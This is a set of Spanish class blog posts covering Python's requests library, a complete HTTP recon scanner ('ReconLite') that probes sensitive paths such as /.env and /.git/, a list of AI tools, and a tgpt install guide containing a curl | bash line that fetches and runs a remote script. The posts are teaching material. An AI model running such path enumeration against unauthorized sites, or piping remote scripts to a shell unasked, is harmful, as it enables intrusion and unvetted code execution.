Autor: ciberkaos

  • 2.1 – Librerías en Python

    2.1 – Librerías en Python

    ¿Qué es una librería en Python?

    Una librería (o “biblioteca”) es código que alguien ya escribió para resolver un problema común: hacer peticiones web, leer PDFs, crear gráficos, trabajar con fechas, etc.

    • Python estándar: viene “de serie” (por ejemplo json, os, math, datetime).
    • Librerías externas: se instalan aparte (por ejemplo requests, pandas, flask, numpy).

    Regla mental útil:

    • Si lo importas y no lo instalas, normalmente es estándar.
    • Si lo importas y te da error, probablemente hay que instalarlo.

    ¿Qué significa import?

    Cuando haces:

    
    
    
    
    
    import requests
    

    Estás diciendo: “Python, carga ese paquete para que pueda usar sus funciones”.

    También puedes importar cosas concretas:

    
    
    
    
    
    from datetime import datetime
    

    O ponerle un alias (muy común):

    
    
    
    
    
    import pandas as pd
    

    ¿Dónde se instalan librerías?

    En Python, las librerías se instalan en “un Python concreto”, que puede ser:

    1. Python del sistema (global).
    2. Un entorno virtual (recomendado para clase/proyectos).
    3. Una instalación específica (por ejemplo, un Python dentro de VS Code, conda, etc.).

    La confusión típica del alumnado:

    “He instalado requests pero sigue dando error”
    Casi siempre es porque instalaron en un Python y ejecutan con otro.


    Gestores de paquetes: pip

    pip es el instalador estándar de paquetes Python.

    Comandos básicos:

    
    
    
    
    
    pip --version
    python3 -m pip --version
    

    Instalar una librería:

    
    
    
    
    
    python3 -m pip install requests
    

    Actualizar una librería:

    
    
    
    
    
    python3 -m pip install --upgrade requests
    

    Ver lo instalado:

    
    
    
    
    
    python3 -m pip list
    

    Ver información de un paquete:

    
    
    
    
    
    python3 -m pip show requests
    

    La forma “pro” para clase: entornos virtuales (venv)

    Esto evita romper el sistema y hace que cada proyecto tenga sus librerías.

    Crear entorno virtual

    En la carpeta del proyecto:

    
    
    
    
    
    python3 -m venv venv
    

    Activarlo

    Linux/Mac:

    
    
    
    
    
    source venv/bin/activate
    

    Windows (PowerShell):

    
    
    
    
    
    venv\Scripts\Activate.ps1
    

    Windows (CMD):

    
    
    
    
    
    venv\Scripts\activate.bat
    

    Cuando está activo, normalmente verás (venv) al inicio de la terminal.

    Instalar dentro del entorno

    
    
    
    
    
    python -m pip install requests
    

    5.4 Salir del entorno

    
    
    
    
    
    deactivate
    

    Cómo saber si algo es estándar o externo

    Ejemplos:

    • Estándar:
    
    
    
    
    
    import json
    import os
    import datetime
    
    • Externas (requieren pip):
    
    
    
    
    
    import requests
    import pandas
    import flask
    

    Buenas prácticas al trabajar con librerías

    Fijar dependencias: requirements.txt

    Generar lista de dependencias del entorno:

    
    
    
    
    
    python -m pip freeze > requirements.txt
    

    Instalar dependencias en otro equipo:

    
    
    
    
    
    python -m pip install -r requirements.txt
    

    Esto es oro puro para que los proyectos “funcionen igual” en todas las máquinas.

    Leer documentación y “ejemplos mínimos”

    La documentación oficial suele tener:

    • instalación
    • ejemplos pequeños
    • parámetros importantes
    • errores comunes

    Ejemplo completo con requests (GET)

    Vamos a hacer una petición HTTP a una API pública de ejemplo y procesar JSON.

    Instalar requests

    Si estás en venv, mejor.

    
    
    
    
    
    python -m pip install requests
    

    Script: peticion_get.py

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/get"
    
    def main():
        try:
            # timeout: evita que el programa se quede colgado si el servidor no responde
            response = requests.get(URL, timeout=10)
    
            # Lanza excepción si el status code es 4xx/5xx
            response.raise_for_status()
    
            # httpbin devuelve JSON
            data = response.json()
    
            print("✅ Status:", response.status_code)
            print("✅ Tu IP según el servidor:", data.get("origin"))
            print("✅ Headers enviados (ejemplo):")
            headers = data.get("headers", {})
            print("   User-Agent:", headers.get("User-Agent"))
    
        except requests.exceptions.Timeout:
            print("⏳ Error: timeout (el servidor tardó demasiado en responder).")
        except requests.exceptions.HTTPError as e:
            print("🚫 Error HTTP:", e)
        except requests.exceptions.RequestException as e:
            # Cubre: problemas de red, DNS, conexión, etc.
            print("🌐 Error de red:", e)
        except ValueError:
            # Si .json() falla porque la respuesta no era JSON
            print("🧩 Error: la respuesta no era JSON válido.")
    
    if __name__ == "__main__":
        main()
    

    Ejecutarlo

    
    
    
    
    
    python peticion_get.py
    

    Qué deberían observar:

    • status_code (200 si ok)
    • origin (la IP “vista” por el servidor)
    • headers (cabeceras HTTP)

    Ejemplo con parámetros (GET con params)

    params construye la query ?clave=valor.

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/get"
    
    params = {
        "busqueda": "python",
        "pagina": 1
    }
    
    r = requests.get(URL, params=params, timeout=10)
    print("URL final:", r.url)
    print("Respuesta JSON:", r.json().get("args"))
    

    Ejemplo POST (enviar datos)

    Enviar JSON

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/post"
    
    payload = {
        "usuario": "alumno01",
        "rol": "tester"
    }
    
    r = requests.post(URL, json=payload, timeout=10)
    r.raise_for_status()
    
    data = r.json()
    print("Enviado:", data.get("json"))
    

    Enviar formulario (application/x-www-form-urlencoded)

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/post"
    
    form_data = {
        "email": "alumno@ejemplo.com",
        "password": "1234"
    }
    
    r = requests.post(URL, data=form_data, timeout=10)
    print(r.json().get("form"))
    

    Cabeceras y autenticación básica

    Cabeceras (headers)

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/headers"
    
    headers = {
        "User-Agent": "ClasePython/1.0",
        "X-Profesor": "Antonio"
    }
    
    r = requests.get(URL, headers=headers, timeout=10)
    print(r.json())
    

    Auth básica (solo ejemplo didáctico)

    
    
    
    
    
    import requests
    
    URL = "https://httpbin.org/basic-auth/user/pass"
    r = requests.get(URL, auth=("user", "pass"), timeout=10)
    print(r.status_code, r.json())
    

    Errores típicos (y cómo cazarlos rápido)

    “ModuleNotFoundError: No module named ‘requests’”

    • No está instalado en ese Python.
    • Solución:
    
    
    
    
    
    python -m pip install requests
    python -c "import requests; print(requests.__version__)"
    

    “Funciona en terminal pero no en VS Code”

    • VS Code está usando otro intérprete.
    • Solución: seleccionar el intérprete del venv en VS Code (Python: Select Interpreter).

    “Se queda colgado”

    • Falta timeout.
    • Solución: siempre pon timeout=... en peticiones.

  • 2.2 – ReconLite (mini escáner OSINT HTTP)

    2.2 – ReconLite (mini escáner OSINT HTTP)

    En este caso vamos a construir paso a paso ReconLite, un mini escáner HTTP orientado a reconocimiento OSINT ligero. No es una herramienta para “atacar”, ni pretende competir con scanners profesionales, sino un proyecto didáctico pensado para entender qué información expone un servicio web antes incluso de hablar de vulnerabilidades.

    ReconLite nace con una idea muy clara: en ciberseguridad, observar bien es más importante que correr rápido. Aprender a mirar cabeceras, códigos de estado, tiempos de respuesta, redirecciones o endpoints típicos permite formarse una primera imagen del objetivo sin romper nada, sin hacer ruido innecesario y, sobre todo, dejando evidencias claras y reproducibles.

    A lo largo del proyecto se trabajan conceptos clave que aparecen constantemente en auditorías reales y análisis forense web: normalización de objetivos, fingerprinting pasivo, revisión de hardening HTTP, enumeración controlada de rutas y generación de reportes estructurados. Todo ello usando Python y la librería requests, sin magia negra y con explicaciones claras de cada decisión tomada en el código.

    El objetivo no es solo que el script funcione, sino que entiendas por qué se hace cada cosa, qué información aporta y cuáles son sus límites. ReconLite está diseñado para fomentar una mentalidad ciber realista:
    mirar sin asumir, registrar sin interpretar de más y recordar siempre que un 200 no significa “seguro”, ni un 403 significa “no existe”.

    A partir de aquí encontrarás la estructura completa del proyecto, el código íntegro y una explicación detallada de cada parte, para que puedas usarlo, modificarlo y ampliarlo como base para prácticas, laboratorios o proyectos más avanzados.

    Qué hace:

    • Valida y normaliza una URL objetivo
    • Descubre endpoints típicos (con un wordlist pequeño)
    • Revisa cabeceras de seguridad (CSP, HSTS, etc.)
    • Detecta tecnologías básicas por headers (sin magia negra)
    • Comprueba robots.txt y sitemap.xml
    • Mide tiempos y códigos de estado
    • Saca un reporte en JSON

    Mentalidad ciber: “mirar sin romper”, registrar evidencias, y no asumir que “200 = seguro” ni que “403 = no existe”.


    Estructura

    Crea esta carpeta:

    • reconlite/
      • reconlite.py
      • requirements.txt
      • README.md
      • report.json (se genera)

    requirements.txt

    
    
    
    
    
    requests>=2.31.0
    

    reconlite.py (proyecto completo)

    
    
    
    
    
    #!/usr/bin/env python3
    import argparse
    import json
    import re
    import sys
    import time
    from urllib.parse import urljoin, urlparse
    
    import requests
    
    
    DEFAULT_PATHS = [
        "/", "/robots.txt", "/sitemap.xml",
        "/.git/", "/.env", "/config.php", "/phpinfo.php",
        "/admin", "/admin/", "/login", "/login/",
        "/wp-admin", "/wp-login.php",
        "/api", "/api/", "/swagger", "/swagger/", "/openapi.json",
        "/server-status", "/actuator", "/actuator/health"
    ]
    
    SEC_HEADERS = [
        "Strict-Transport-Security",
        "Content-Security-Policy",
        "X-Content-Type-Options",
        "X-Frame-Options",
        "Referrer-Policy",
        "Permissions-Policy",
        "Cross-Origin-Opener-Policy",
        "Cross-Origin-Resource-Policy",
        "Cross-Origin-Embedder-Policy",
    ]
    
    
    def normalize_url(raw: str) -> str:
        raw = raw.strip()
        if not raw:
            raise ValueError("URL vacía.")
        if not re.match(r"^https?://", raw, re.IGNORECASE):
            raw = "https://" + raw  # por defecto https
        u = urlparse(raw)
        if not u.netloc:
            raise ValueError("URL inválida. Ejemplo: https://example.com")
        # reconstrucción limpia (sin fragmentos)
        clean = f"{u.scheme}://{u.netloc}"
        if u.path and u.path != "/":
            clean += u.path.rstrip("/")
        return clean
    
    
    def safe_request(session: requests.Session, method: str, url: str, **kwargs):
        t0 = time.time()
        try:
            r = session.request(method, url, **kwargs)
            dt = (time.time() - t0) * 1000.0
            return r, dt, None
        except requests.RequestException as e:
            dt = (time.time() - t0) * 1000.0
            return None, dt, str(e)
    
    
    def extract_basic_fingerprint(headers: dict) -> dict:
        # Fingerprinting suave: headers típicos (no infalible)
        server = headers.get("Server")
        powered = headers.get("X-Powered-By")
        via = headers.get("Via")
        return {
            "server": server,
            "x_powered_by": powered,
            "via": via,
        }
    
    
    def analyze_security_headers(headers: dict) -> dict:
        present = {}
        missing = []
        for h in SEC_HEADERS:
            if h in headers:
                present[h] = headers.get(h)
            else:
                missing.append(h)
    
        # Heurísticas sencillas (no dogma)
        notes = []
        if "Strict-Transport-Security" not in headers:
            notes.append("No HSTS: si es un sitio web público, se suele recomendar forzar HTTPS con HSTS.")
        if headers.get("X-Content-Type-Options", "").lower() != "nosniff":
            notes.append("X-Content-Type-Options no es 'nosniff' (o falta).")
        if "Content-Security-Policy" not in headers:
            notes.append("Sin CSP: suele reducir impacto de XSS (no lo elimina).")
    
        return {"present": present, "missing": missing, "notes": notes}
    
    
    def is_interesting_status(code: int) -> bool:
        # 200/204/3xx/401/403 son “interesantes” para enumeración
        return code in (200, 201, 202, 204, 301, 302, 307, 308, 401, 403)
    
    
    def scan_paths(base_url: str, paths: list, timeout: int, verify_tls: bool, user_agent: str, max_paths: int):
        session = requests.Session()
        session.headers.update({"User-Agent": user_agent})
    
        results = []
        for i, p in enumerate(paths[:max_paths], start=1):
            full = urljoin(base_url + "/", p.lstrip("/"))
            r, dt, err = safe_request(
                session,
                "GET",
                full,
                timeout=timeout,
                allow_redirects=False,
                verify=verify_tls,
            )
    
            entry = {
                "path": p,
                "url": full,
                "error": err,
                "ms": round(dt, 2),
            }
    
            if r is not None:
                entry.update({
                    "status": r.status_code,
                    "content_type": r.headers.get("Content-Type"),
                    "content_length": r.headers.get("Content-Length"),
                    "location": r.headers.get("Location"),
                })
    
                # Guardamos solo “señales”, no el contenido entero (más limpio y ético)
                if is_interesting_status(r.status_code):
                    results.append(entry)
            else:
                # errores de red también son evidencia
                results.append(entry)
    
        return results
    
    
    def head_base(base_url: str, timeout: int, verify_tls: bool, user_agent: str):
        session = requests.Session()
        session.headers.update({"User-Agent": user_agent})
    
        r, dt, err = safe_request(
            session,
            "HEAD",
            base_url,
            timeout=timeout,
            allow_redirects=False,
            verify=verify_tls,
        )
    
        if r is None:
            return {"error": err, "ms": round(dt, 2)}
    
        return {
            "status": r.status_code,
            "ms": round(dt, 2),
            "headers": dict(r.headers),
        }
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="ReconLite - Recon HTTP/OSINT ligero con mentalidad ciber (solo objetivos autorizados)."
        )
        parser.add_argument("target", help="URL o dominio (ej: https://example.com o example.com)")
        parser.add_argument("--timeout", type=int, default=8, help="Timeout por request en segundos (default: 8)")
        parser.add_argument("--insecure", action="store_true", help="No verificar TLS (NO recomendado)")
        parser.add_argument("--max-paths", type=int, default=40, help="Máximo de rutas a probar (default: 40)")
        parser.add_argument("--paths-file", help="Archivo de rutas (una por línea) para enumeración")
        parser.add_argument("--out", default="report.json", help="Ruta del reporte JSON (default: report.json)")
        parser.add_argument("--ua", default="ReconLite/1.0 (+educational)", help="User-Agent personalizado")
    
        args = parser.parse_args()
    
        try:
            base_url = normalize_url(args.target)
        except ValueError as e:
            print(f"[!] {e}", file=sys.stderr)
            sys.exit(1)
    
        verify_tls = not args.insecure
    
        paths = DEFAULT_PATHS
        if args.paths_file:
            try:
                with open(args.paths_file, "r", encoding="utf-8") as f:
                    custom = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
                # Normaliza para que siempre empiecen por "/"
                paths = [p if p.startswith("/") else "/" + p for p in custom]
            except OSError as e:
                print(f"[!] No se pudo leer paths-file: {e}", file=sys.stderr)
                sys.exit(1)
    
        report = {
            "target": base_url,
            "timestamp_utc": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
            "config": {
                "timeout_s": args.timeout,
                "verify_tls": verify_tls,
                "max_paths": args.max_paths,
                "user_agent": args.ua,
            },
            "base_head": {},
            "fingerprint": {},
            "security_headers": {},
            "findings": [],
        }
    
        # 1) HEAD base
        base_head = head_base(base_url, args.timeout, verify_tls, args.ua)
        report["base_head"] = base_head
    
        if "headers" in base_head:
            headers = base_head["headers"]
            report["fingerprint"] = extract_basic_fingerprint(headers)
            report["security_headers"] = analyze_security_headers(headers)
    
        # 2) Enumeración de rutas
        findings = scan_paths(base_url, paths, args.timeout, verify_tls, args.ua, args.max_paths)
        report["findings"] = findings
    
        # 3) Guardar reporte
        try:
            with open(args.out, "w", encoding="utf-8") as f:
                json.dump(report, f, indent=2, ensure_ascii=False)
        except OSError as e:
            print(f"[!] No se pudo escribir el reporte: {e}", file=sys.stderr)
            sys.exit(1)
    
        # Resumen consola
        interesting = [x for x in findings if x.get("status") is not None]
        print(f"✅ Objetivo: {base_url}")
        if "status" in base_head:
            print(f"✅ HEAD status: {base_head['status']} ({base_head['ms']} ms)")
        print(f"✅ Hallazgos guardados en: {args.out}")
        print(f"✅ Endpoints interesantes (con status): {len(interesting)}")
    
    
    if __name__ == "__main__":
        main()
    

    README.md

    README.md 
    # ReconLite (proyecto resuelto) – Python + requests con mentalidad ciber

    ## Objetivo
    Hacer reconocimiento HTTP/OSINT de forma ligera y responsable:
    - Cabeceras de seguridad (HSTS, CSP, etc.)
    - Fingerprinting básico por headers
    - Enumeración “suave” de rutas típicas
    - Reporte JSON para evidencias

    > Úsalo solo contra objetivos autorizados.

    ## Instalación
    ```bash
    python3 -m venv venv
    source venv/bin/activate
    pip install -r requirements.txt
    ```

    ## Uso básico
    ```bash
    python reconlite.py https://example.com
    ```

    ## Cambiar User-Agent
    ```bash
    python reconlite.py example.com --ua "Mozilla/5.0 (ReconLite class)"
    ```

    ## Añadir tu propio wordlist de rutas
    Archivo `paths.txt` (una ruta por línea):
    ```
    admin
    admin/
    robots.txt
    api/v1
    ```

    Ejecución:
    ```bash
    python reconlite.py https://midominio.com --paths-file paths.txt --max-paths 200
    ```

    ## TLS
    Por defecto verifica TLS.
    Si estás en laboratorio con certificados raros (NO recomendado):
    ```bash
    python reconlite.py https://lab.local --insecure
    ```

    ## Salida
    Genera `report.json` con:
    - Config usada
    - HEAD base con headers
    - Seguridad de headers
    - Listado de rutas con status, tiempos, redirects y content-type
    ```

    ---

    ## Ejemplos de ejecución (para clase)
    ~~~bash
    # 1) Recon rápido
    python reconlite.py https://testphp.vulnweb.com

    # 2) Enumeración más grande con tu lista
    python reconlite.py https://testphp.vulnweb.com --paths-file paths.txt --max-paths 150

    # 3) Cambiar timeout (objetivos lentos)
    python reconlite.py https://testphp.vulnweb.com --timeout 15

    Aqhí tienes todos los archivos del proyecto para que puedas usarlos.

    Métodos comentados

    normalize_url(raw: str) -> str

    Propósito: convertir lo que te pase el usuario (example.com, http://..., https://.../algo) en una URL base “limpia” y usable.

    Qué hace paso a paso:

    • raw.strip() limpia espacios (entrada típica de alumno: " example.com ").
    • Si está vacío → ValueError. Evita que luego requests reviente con errores menos claros.
    • Si no empieza por http:// o https://, le añade https:// por defecto.
      • Mentalidad ciber: preferir TLS. Si el sitio no soporta HTTPS, ya verás error/redirect.
    • urlparse(raw) separa esquema, host, path, etc.
    • Si no hay netloc (host) → URL inválida.
    • Reconstruye una URL “limpia” sin fragmentos y con path normalizado.

    Por qué es importante en ciber:

    • Un recon decente empieza por normalizar objetivos. Evitas escanear accidentalmente https://https://... o rutas raras.

    Limitaciones:

    • No valida DNS ni conectividad; solo sintaxis.
    • No fuerza www ni detecta canonical URL.

    Mejoras típicas:

    • Permitir http por defecto si https falla (con aviso).
    • Bloquear esquemas raros aunque vengan “inyectados”.

    safe_request(session, method, url, **kwargs)

    Propósito: envoltorio robusto alrededor de requests para:

    • medir tiempo
    • capturar errores de red
    • devolver siempre un resultado uniforme

    Qué hace:

    • Arranca cronómetro (t0 = time.time()).
    • Intenta session.request(...) con método, URL y parámetros.
    • Si va bien → devuelve (response, ms, None).
    • Si falla (timeout, DNS, TLS, conexión, etc.) → devuelve (None, ms, "error string").

    Por qué es importante en ciber:

    • En recon real, los fallos son evidencia: “no resuelve”, “TLS handshake falla”, “timeout”… eso te dice cosas del perímetro.

    Limitaciones:

    • Devuelve str(e) sin clasificar error (timeout vs ssl vs conn).

    Mejoras:

    • Clasificar excepciones (Timeout, SSLError, ConnectionError) en un campo error_type.
    • Añadir reintentos con backoff (con cuidado de no hacer ruido).

    extract_basic_fingerprint(headers: dict) -> dict

    Propósito: fingerprinting básico y ético: mirar lo que el servidor declara en headers.

    Qué hace:

    • Lee Server, X-Powered-By, Via.
    • Devuelve un dict con esos valores.

    Por qué es ciber:

    • Esto a veces revela stack (“nginx”, “Apache”, “Express”, “PHP”, “cloudflare”, proxies…).
    • Es “OSINT pasivo” dentro de una request normal.

    Limitaciones (muy importantes):

    • No es fiable: muchos servidores mienten o lo ocultan.
    • No debe tomarse como prueba definitiva.

    Mejoras:

    • Añadir heurísticas con Set-Cookie, X-AspNet-Version, CF-RAY, etc.
    • Detectar CDN/WAF con señales comunes (pero siempre como “posible”).

    analyze_security_headers(headers: dict) -> dict

    Propósito: comprobar presencia/ausencia de headers de seguridad y generar notas.

    Qué hace:

    • Recorre SEC_HEADERS:
      • Si está presente → lo guarda con su valor.
      • Si falta → lo añade a missing.
    • Genera notes con heurísticas:
      • falta HSTS
      • X-Content-Type-Options no es nosniff
      • falta CSP

    Por qué es ciber:

    • Esto te da un “termómetro” rápido de hardening HTTP.
    • Útil para que alumnos aprendan que seguridad también es config.

    Limitaciones:

    • Que falte un header ≠ vulnerabilidad explotable.
    • CSP/HSTS requieren contexto (subdominios, preload, mixed content).

    Mejoras:

    • Analizar valores:
      • HSTS: max-age, includeSubDomains, preload
      • XFO: DENY/SAMEORIGIN
      • CSP: evitar unsafe-inline (ojo: no siempre posible)
    • Añadir chequeo de Secure/HttpOnly/SameSite en cookies (si haces GET real y hay cookies).

    is_interesting_status(code: int) -> bool

    Propósito: decidir qué códigos son “interesantes” para enumeración sin guardar ruido.

    Qué hace:

    • Devuelve True si status ∈ {200, 201, 202, 204, 301, 302, 307, 308, 401, 403}

    Por qué es ciber:

    • 401/403 son oro: “existe pero protegido”.
    • 3xx también: revela rutas canonical o paneles movidos.

    Limitaciones:

    • 404 también puede ser interesante si detectas “soft 404” (200 con página de error).
    • 500/502/503 deberían contarse como hallazgo porque indican superficie frágil.

    Mejoras:

    • Permitir configurar lista de códigos por CLI.
    • Detectar “soft 404” comparando longitud/huella de respuesta.

    scan_paths(base_url, paths, timeout, verify_tls, user_agent, max_paths)

    Propósito: enumeración “suave” de endpoints típicos con GET sin seguir redirecciones.

    Qué hace:

    • Crea requests.Session() (mejor que requests.get repetido):
      • Reutiliza conexión (keep-alive) → más rápido, menos carga.
    • Fija User-Agent.
    • Recorre rutas hasta max_paths.
    • Construye URL final con urljoin.
    • Llama safe_request(GET, ...) con:
      • allow_redirects=False (clave para recon: quieres ver el Location)
      • verify=verify_tls
      • timeout=timeout
    • Crea entry con datos:
      • path, url, error, ms
    • Si hay respuesta:
      • status, content-type, content-length, location
      • Si status es “interesante” → lo añade
    • Si hay error:
      • también lo añade (evidencia)

    Por qué es ciber:

    • Enumeración controlada, orientada a reporte.
    • No seguir redirects evita perder información y evita cadenas largas.

    Limitaciones / ética:

    • Un wordlist grande puede parecer “escaneo agresivo”.
    • No hay rate-limit → en un entorno real debes dormir entre requests.

    Mejoras pro:

    • Añadir --delay-ms o --rps para no hacer ruido.
    • Añadir método HEAD para paths (menos transferencia) y usar GET solo si “promete”.
    • Añadir comparación de contenido para detectar páginas trampa.

    head_base(base_url, timeout, verify_tls, user_agent)

    Propósito: obtener headers del objetivo base con HEAD (ligero).

    Qué hace:

    • Crea sesión, pone UA.
    • Llama safe_request("HEAD", base_url, allow_redirects=False, ...)
    • Si falla → devuelve dict con error y ms.
    • Si va bien → devuelve status, ms, headers.

    Por qué es ciber:

    • Minimiza impacto: HEAD normalmente no descarga cuerpo.
    • Buen punto de partida para fingerprint y seguridad headers.

    Limitaciones:

    • Algunos servidores no implementan HEAD bien:
      • responden distinto que GET
      • devuelven 405 Method Not Allowed
    • Si hay WAF/CDN, puede variar por método.

    Mejoras:

    • Si HEAD da 405 → fallback a GET con stream=True y sin leer cuerpo (o leyendo muy poco).

    main()

    Propósito: orquestar todo: argumentos, normalización, ejecutar recon, guardar reporte, resumen por consola.

    Qué hace:

    1. argparse define CLI:
      • target, timeout, insecure, max-paths, paths-file, out, ua
    2. Normaliza URL (si falla, sale con error claro).
    3. verify_tls = not args.insecure
    4. Carga paths:
      • si hay --paths-file, lo lee y normaliza cada ruta a /...
    5. Inicializa report:
      • target, timestamp_utc, config, base_head, fingerprint, security_headers, findings
    6. Llama head_base
      • si trae headers → fingerprint + security header analysis
    7. Llama scan_paths
    8. Guarda JSON en args.out
    9. Imprime resumen

    Por qué es ciber:

    • Deja un rastro reproducible: configuración + timestamp + evidencias.
    • Separa “descubrimiento” (head) de “enumeración” (paths).

    Limitaciones:

    • No hay control de concurrencia ni rate limit.
    • No hay logging estructurado (solo print final).

    Mejoras:

    • Añadir niveles de verbosidad -v / -vv.
    • Exportar también a Markdown (bonito para entregar como informe).
    • Añadir “modo aula”: limitar a X requests por minuto.

    if __name__ == "__main__": main()

    Propósito: permitir que el script funcione:

    • como programa ejecutable (CLI)
    • y también importable como módulo sin ejecutarse automáticamente

    • Puedes reutilizar funciones en otro fichero (tests, GUI, etc.).
  • Herramientas IA en la Web (I)

    🖼️ IA de IMAGEN (generación / edición)

    HerramientaEnlaceUso principalCoste
    Rendernethttps://rendernet.ai/Imágenes y vídeo con personajes consistentesFreemium / Suscripción
    Krea AIhttps://www.krea.ai/homeImagen creativa en tiempo real, estilosFreemium / Suscripción
    Grok Image / Imaginehttps://grok.com/imagineGeneración de imágenes por promptFreemium (limitado)
    Adobe Fireflyhttps://firefly.adobe.com/upload/inpaintEdición IA (inpaint, estilos)Freemium / Suscripción Adobe
    Reve / Reve AIhttps://app.reve.com/Generación artística de imágenesFreemium
    Lovart AIhttps://www.lovart.ai/Ilustración, arte conceptualFreemium / Suscripción
    PixVersehttps://app.pixverse.ai/Imagen + vídeo creativoFreemium / Suscripción

    🎥 IA de VÍDEO (texto → vídeo / imagen → vídeo)

    HerramientaEnlaceUso principalCoste
    LivePortraithttps://liveportrait.github.io/Animar retratos (imagen → vídeo)Gratuito / Open Source
    HuggingFace Demo (KwaiVGI)https://huggingface.co/spaces/KwaiVGIDemo online de LivePortraitGratuito
    Wanhttps://wan.video/Generación de vídeo con IAFreemium / Suscripción
    Wan 2.2https://wan.video/Versión avanzada del modelo WanFreemium / Suscripción
    MindVideohttps://www.mindvideo.ai/es/Texto → vídeoFreemium / Suscripción
    CapCut AI Videohttps://www.capcut.com/my-editEdición y vídeo con IAFreemium / Pro
    Symphony (TikTok)https://ads.tiktok.com/creativeVídeos publicitarios automáticosGratuito
    Veo 3.1 (Flow)https://labs.google/fx/es/tools/flowVídeo generativo experimental (Google)Acceso limitado / Experimental
    Hedrahttps://www.hedra.com/Creación audiovisual con IAFreemium / Suscripción

    🔊 IA de VOZ / AUDIO

    HerramientaEnlaceUso principalCoste
    ElevenLabshttps://try.elevenlabs.io/shmdm7umt6ggTexto → voz realista, clonaciónFreemium / Suscripción

    💬 IA de CHAT / LLMs

    HerramientaEnlaceUso principalCoste
    Meta AIhttps://www.meta.ai/Asistente IA generalGratuito
    Qwenhttps://qwen.ai/LLM general (Alibaba)Gratuito
    Chat Qwen (mini campus)https://chat.qwen.ai/s/deploy/…Chat personalizado desplegadoGratuito
    Erniehttps://ernie.baidu.com/LLM de BaiduGratuito
    Chat Zhttps://chat.z.ai/Chat IA generalGratuito
    ChatGLMhttps://chatglm.cnLLM técnicoGratuito
    LMArenahttps://lmarena.ai/Comparador de modelos LLMGratuito

    🧠 PROMPTS / EXPERIMENTOS IA

    HerramientaEnlaceUso principalCoste
    Generador de prompts (Gemini)https://gemini.google.com/gem/…Creación de prompts optimizadosGratuito
    Pomelli (Google Labs)https://labs.google.com/pomelli/about/Experimentos creativos IAGratuito / Experimental

    🤖 AGENTES / AUTOMATIZACIÓN

    HerramientaEnlaceUso principalCoste
    RoboNeohttps://www.roboneo.com/Agentes IA y automatizaciónFreemium / Suscripción

    🔐 PRIVACIDAD / VPN (extra, no IA)

    HerramientaEnlaceUso principalCoste
    NordVPNhttps://nordvpn.com/alejaviVPN profesionalSuscripción
    Hide.me (extensión Chrome)Chrome Web StoreVPN básica navegadorGratuita

    🧩 RESUMEN

    • 🟢 Gratis / Open: LivePortrait, HuggingFace, Meta AI, Qwen, ChatGLM, LMArena
    • 🟡 Freemium : ElevenLabs, Krea, CapCut, Wan, PixVerse
    • 🔵 Profesional / Pro: Rendernet, Adobe Firefly, NordVPN

  • TGPT desde la terminal (Windows · Linux · macOS)

    TGPT desde la terminal (Windows · Linux · macOS)

    Manual de instalación y uso de tgpt

    1. ¿Qué es tgpt y para qué sirve?

    tgpt es un cliente no oficial que permite interactuar con modelos tipo ChatGPT directamente desde la terminal, sin navegador y sin iniciar sesión en OpenAI.

    Se usa mucho para:

    • Resolver dudas técnicas rápidas
    • Explicar comandos Linux
    • Generar scripts
    • Pedir ejemplos de código
    • Documentar procesos
    • Automatizar consultas desde scripts

    No sustituye el razonamiento humano. Es un copiloto, no el piloto.



    2. Instalación en Windows

    Instalar Node.js

    1. Descargar desde: https://nodejs.org
    2. Instalar la versión LTS
    3. Verificar desde PowerShell o CMD:
    
    
    
    
    
    node -v
    npm -v
    

    Si aparecen versiones, todo va bien.


    Instalar tgpt

    En PowerShell o CMD:

    
    
    
    
    
    npm install -g tgpt
    

    Comprobar instalación:

    
    
    
    
    
    tgpt --help
    

    Primer uso en Windows

    Ejemplo simple:

    
    
    
    
    
    tgpt "¿Qué es un firewall?"
    

    Ejemplo técnico:

    
    
    
    
    
    tgpt "Explícame el comando netstat en Windows con ejemplos"
    

    3. Instalación en Linux (Ubuntu, Debian, Kali, Parrot…)

    curl -sSL https://raw.githubusercontent.com/aandrew-me/tgpt/main/install | bash -s /usr/local/bin
    

    Comprobar:

    
    
    
    
    
    tgpt --help
    

    Primer uso en Linux

    Ejemplo OSINT:

    
    
    
    
    
    tgpt "¿Qué es OSINT y qué tipos de fuentes existen?"
    

    Ejemplo Linux:

    
    
    
    
    
    tgpt "Explícame el comando grep con ejemplos reales"
    

    Ejemplo scripting:

    
    
    
    
    
    tgpt "Hazme un script bash para comprobar si un host responde a ping"
    

    4. Instalación en macOS

    5.1 Instalar Homebrew (si no está instalado)

    En Terminal:

    
    
    
    
    
    brew install tgpt

    Verificar:

    
    
    
    
    
    tgpt --help
    

    Ejemplo programación:

    
    
    
    
    
    tgpt "Dame un ejemplo sencillo de una API REST"
    

    Ejemplo sistemas:

    
    
    
    
    
    tgpt "Diferencias entre TCP y UDP explicadas para principiantes"
    

    5. Uso básico de tgpt

    Consulta directa

    
    
    
    
    
    tgpt "Explícame qué es un hash"
    

    Respuestas más técnicas

    
    
    
    
    
    tgpt "Explícame qué es SHA-256 con un ejemplo práctico"
    

    Modo conversación

    
    
    
    
    
    tgpt -c
    

    Permite hacer varias preguntas seguidas manteniendo contexto.


    Salida sin colores (útil para logs o scripts)

    
    
    
    
    
    tgpt --no-color "Qué es un IDS"
    

    6. Buenas prácticas

    • No copiar y pegar sin entender
    • Verificar comandos antes de ejecutarlos
    • Usar tgpt como ayuda, no como sustituto del aprendizaje
    • Contrastar respuestas técnicas
    • Documentar qué pregunta se hizo y por qué

    7. Ejemplos

    Ejemplo 1 – Linux

    
    
    
    
    
    tgpt "Explícame paso a paso cómo funciona chmod"
    

    Ejemplo 2 – Ciberseguridad

    
    
    
    
    
    tgpt "Diferencias entre IDS y IPS con ejemplos"
    

    Ejemplo 3 – OSINT

    
    
    
    
    
    tgpt "Herramientas OSINT que se pueden usar desde terminal"
    

    Ejemplo 4 – Programación

    
    
    
    
    
    tgpt "Ejemplo de conexión a MySQL en PHP usando PDO"
    

    8. Problemas comunes

    • command not found → tgpt no está en el PATH
    • Permisos npm → usar sudo en Linux
    • Node muy antiguo → actualizar Node.js
